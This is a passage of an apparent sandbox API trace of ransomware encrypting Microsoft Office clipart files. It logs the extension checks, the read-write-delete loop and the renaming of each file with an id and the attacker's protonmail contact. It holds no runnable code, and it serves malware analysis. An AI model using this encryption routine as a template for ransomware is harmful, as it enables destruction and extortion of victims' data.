Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0150.230] lstrlenW (lpString=".jpg") returned 4 [0150.231] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0150.232] SetFilePointerEx (in: hFile=0x10ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0150.232] SetFilePointerEx (in: hFile=0x10ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0150.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0150.237] GetLastError () returned 0x0 [0150.237] ReadFile (in: hFile=0x10ec, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0xf7e, lpOverlapped=0x0) returned 1 [0150.265] WriteFile (in: hFile=0x10c0, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xf80, lpOverlapped=0x0) returned 1 [0150.266] ReadFile (in: hFile=0x10ec, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x0, lpOverlapped=0x0) returned 1 [0150.266] WriteFile (in: hFile=0x10c0, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xec, lpOverlapped=0x0) returned 1 [0150.266] SetEndOfFile (hFile=0x10c0) returned 1 [0150.266] CloseHandle (hObject=0x10c0) returned 1 [0150.269] SetFilePointerEx (in: hFile=0x10ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0150.269] SetEndOfFile (hFile=0x10ec) returned 1 [0150.270] CloseHandle (hObject=0x10ec) returned 1 [0150.270] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0150.271] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif")) returned 1 [0150.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0150.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0150.271] lstrlenW (lpString=".doc") returned 4 [0150.271] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0150.271] lstrlenW (lpString=".docx") returned 5 [0150.271] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0150.271] lstrlenW (lpString=".pdf") returned 4 [0150.271] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0150.271] lstrlenW (lpString=".xls") returned 4 [0150.271] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0150.271] lstrlenW (lpString=".xlsx") returned 5 [0150.272] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0150.272] lstrlenW (lpString=".ppt") returned 4 [0150.272] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0150.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0150.272] lstrlenW (lpString=".zip") returned 4 [0150.272] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0150.272] lstrlenW (lpString=".rar") returned 4 [0150.272] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0150.272] lstrlenW (lpString=".bz2") returned 4 [0150.272] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0150.272] lstrlenW (lpString=".7z") returned 3 [0150.272] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0150.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0150.272] lstrlenW (lpString=".dbf") returned 4 [0150.272] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0150.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0150.272] lstrlenW (lpString=".1cd") returned 4 [0150.272] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0150.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0150.272] lstrlenW (lpString=".jpg") returned 4 [0150.272] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0150.273] SetFilePointerEx (in: hFile=0x10ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0150.273] SetFilePointerEx (in: hFile=0x10ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0150.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0150.274] GetLastError () returned 0x0 [0150.274] ReadFile (in: hFile=0x10ec, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0xc30, lpOverlapped=0x0) returned 1 [0150.294] WriteFile (in: hFile=0x10c0, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xc40, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xc40, lpOverlapped=0x0) returned 1 [0150.295] ReadFile (in: hFile=0x10ec, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x0, lpOverlapped=0x0) returned 1 [0150.295] WriteFile (in: hFile=0x10c0, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xec, lpOverlapped=0x0) returned 1 [0150.295] SetEndOfFile (hFile=0x10c0) returned 1 [0150.296] CloseHandle (hObject=0x10c0) returned 1 [0150.299] SetFilePointerEx (in: hFile=0x10ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0150.299] SetEndOfFile (hFile=0x10ec) returned 1 [0150.300] CloseHandle (hObject=0x10ec) returned 1 [0150.300] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0150.301] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif")) returned 1 [0150.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0150.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0150.301] lstrlenW (lpString=".doc") returned 4 [0150.301] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0150.301] lstrlenW (lpString=".docx") returned 5 [0150.301] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0150.301] lstrlenW (lpString=".pdf") returned 4 [0150.301] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0150.301] lstrlenW (lpString=".xls") returned 4 [0150.302] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0150.302] lstrlenW (lpString=".xlsx") returned 5 [0150.302] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0150.302] lstrlenW (lpString=".ppt") returned 4 [0150.302] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0150.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0150.302] lstrlenW (lpString=".zip") returned 4 [0150.302] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0150.302] lstrlenW (lpString=".rar") returned 4 [0150.302] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0150.302] lstrlenW (lpString=".bz2") returned 4 [0150.302] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0150.302] lstrlenW (lpString=".7z") returned 3 [0150.302] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0150.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0150.302] lstrlenW (lpString=".dbf") returned 4 [0150.302] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0150.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0150.303] lstrlenW (lpString=".1cd") returned 4 [0150.303] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0150.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0150.303] lstrlenW (lpString=".jpg") returned 4 [0150.303] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0150.303] SetFilePointerEx (in: hFile=0x10ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0150.303] SetFilePointerEx (in: hFile=0x10ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0150.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0150.304] GetLastError () returned 0x0 [0150.304] ReadFile (in: hFile=0x10ec, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x127e, lpOverlapped=0x0) returned 1 [0150.409] WriteFile (in: hFile=0x10c0, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x1280, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0x1280, lpOverlapped=0x0) returned 1 [0150.410] ReadFile (in: hFile=0x10ec, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x0, lpOverlapped=0x0) returned 1 [0150.410] WriteFile (in: hFile=0x10c0, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xec, lpOverlapped=0x0) returned 1 [0150.410] SetEndOfFile (hFile=0x10c0) returned 1 [0150.411] CloseHandle (hObject=0x10c0) returned 1 [0150.413] SetFilePointerEx (in: hFile=0x10ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0150.413] SetEndOfFile (hFile=0x10ec) returned 1 [0150.415] CloseHandle (hObject=0x10ec) returned 1 [0150.415] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0150.415] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf")) returned 1 [0150.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0150.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0150.772] lstrlenW (lpString=".doc") returned 4 [0150.772] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.772] lstrlenW (lpString=".docx") returned 5 [0150.772] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0150.772] lstrlenW (lpString=".pdf") returned 4 [0150.772] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.772] lstrlenW (lpString=".xls") returned 4 [0150.772] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.772] lstrlenW (lpString=".xlsx") returned 5 [0150.772] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0150.772] lstrlenW (lpString=".ppt") returned 4 [0150.772] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0150.773] lstrlenW (lpString=".zip") returned 4 [0150.773] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.773] lstrlenW (lpString=".rar") returned 4 [0150.773] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.773] lstrlenW (lpString=".bz2") returned 4 [0150.773] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.773] lstrlenW (lpString=".7z") returned 3 [0150.773] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0150.773] lstrlenW (lpString=".dbf") returned 4 [0150.773] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0150.773] lstrlenW (lpString=".1cd") returned 4 [0150.773] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0150.773] lstrlenW (lpString=".jpg") returned 4 [0150.773] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.774] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0150.774] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0150.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10cc [0150.775] GetLastError () returned 0x0 [0150.775] ReadFile (in: hFile=0x10d0, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x2a50, lpOverlapped=0x0) returned 1 [0150.788] WriteFile (in: hFile=0x10cc, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x2a60, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0x2a60, lpOverlapped=0x0) returned 1 [0150.790] ReadFile (in: hFile=0x10d0, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x0, lpOverlapped=0x0) returned 1 [0150.790] WriteFile (in: hFile=0x10cc, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xec, lpOverlapped=0x0) returned 1 [0150.790] SetEndOfFile (hFile=0x10cc) returned 1 [0150.790] CloseHandle (hObject=0x10cc) returned 1 [0150.793] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0150.793] SetEndOfFile (hFile=0x10d0) returned 1 [0150.794] CloseHandle (hObject=0x10d0) returned 1 [0150.794] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0150.795] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf")) returned 1 [0150.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0150.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0150.795] lstrlenW (lpString=".doc") returned 4 [0150.795] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.795] lstrlenW (lpString=".docx") returned 5 [0150.795] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0150.795] lstrlenW (lpString=".pdf") returned 4 [0150.795] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.795] lstrlenW (lpString=".xls") returned 4 [0150.795] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.795] lstrlenW (lpString=".xlsx") returned 5 [0150.795] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0150.795] lstrlenW (lpString=".ppt") returned 4 [0150.796] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0150.796] lstrlenW (lpString=".zip") returned 4 [0150.796] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.796] lstrlenW (lpString=".rar") returned 4 [0150.796] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.796] lstrlenW (lpString=".bz2") returned 4 [0150.796] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.796] lstrlenW (lpString=".7z") returned 3 [0150.796] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0150.796] lstrlenW (lpString=".dbf") returned 4 [0150.796] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0150.796] lstrlenW (lpString=".1cd") returned 4 [0150.796] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0150.796] lstrlenW (lpString=".jpg") returned 4 [0150.796] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.797] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0150.797] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0150.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10cc [0150.797] GetLastError () returned 0x0 [0150.797] ReadFile (in: hFile=0x10d0, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x1ba0, lpOverlapped=0x0) returned 1 [0150.800] WriteFile (in: hFile=0x10cc, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x1bb0, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0x1bb0, lpOverlapped=0x0) returned 1 [0150.801] ReadFile (in: hFile=0x10d0, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x0, lpOverlapped=0x0) returned 1 [0150.801] WriteFile (in: hFile=0x10cc, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xec, lpOverlapped=0x0) returned 1 [0150.801] SetEndOfFile (hFile=0x10cc) returned 1 [0150.801] CloseHandle (hObject=0x10cc) returned 1 [0150.805] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0150.806] SetEndOfFile (hFile=0x10d0) returned 1 [0150.807] CloseHandle (hObject=0x10d0) returned 1 [0150.807] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0150.807] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf")) returned 1 [0150.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0150.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0150.808] lstrlenW (lpString=".doc") returned 4 [0150.808] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.808] lstrlenW (lpString=".docx") returned 5 [0150.808] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0150.808] lstrlenW (lpString=".pdf") returned 4 [0150.808] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.808] lstrlenW (lpString=".xls") returned 4 [0150.808] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.808] lstrlenW (lpString=".xlsx") returned 5 [0150.808] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0150.808] lstrlenW (lpString=".ppt") returned 4 [0150.808] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0150.808] lstrlenW (lpString=".zip") returned 4 [0150.808] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.808] lstrlenW (lpString=".rar") returned 4 [0150.808] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.808] lstrlenW (lpString=".bz2") returned 4 [0150.808] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.809] lstrlenW (lpString=".7z") returned 3 [0150.809] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0150.809] lstrlenW (lpString=".dbf") returned 4 [0150.809] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0150.809] lstrlenW (lpString=".1cd") returned 4 [0150.809] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 68 [0150.809] lstrlenW (lpString=".jpg") returned 4 [0150.809] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.809] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0150.809] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0150.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10cc [0150.810] GetLastError () returned 0x0 [0150.810] ReadFile (in: hFile=0x10d0, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0xd10, lpOverlapped=0x0) returned 1 [0150.824] WriteFile (in: hFile=0x10cc, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xd20, lpOverlapped=0x0) returned 1 [0150.825] ReadFile (in: hFile=0x10d0, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x0, lpOverlapped=0x0) returned 1 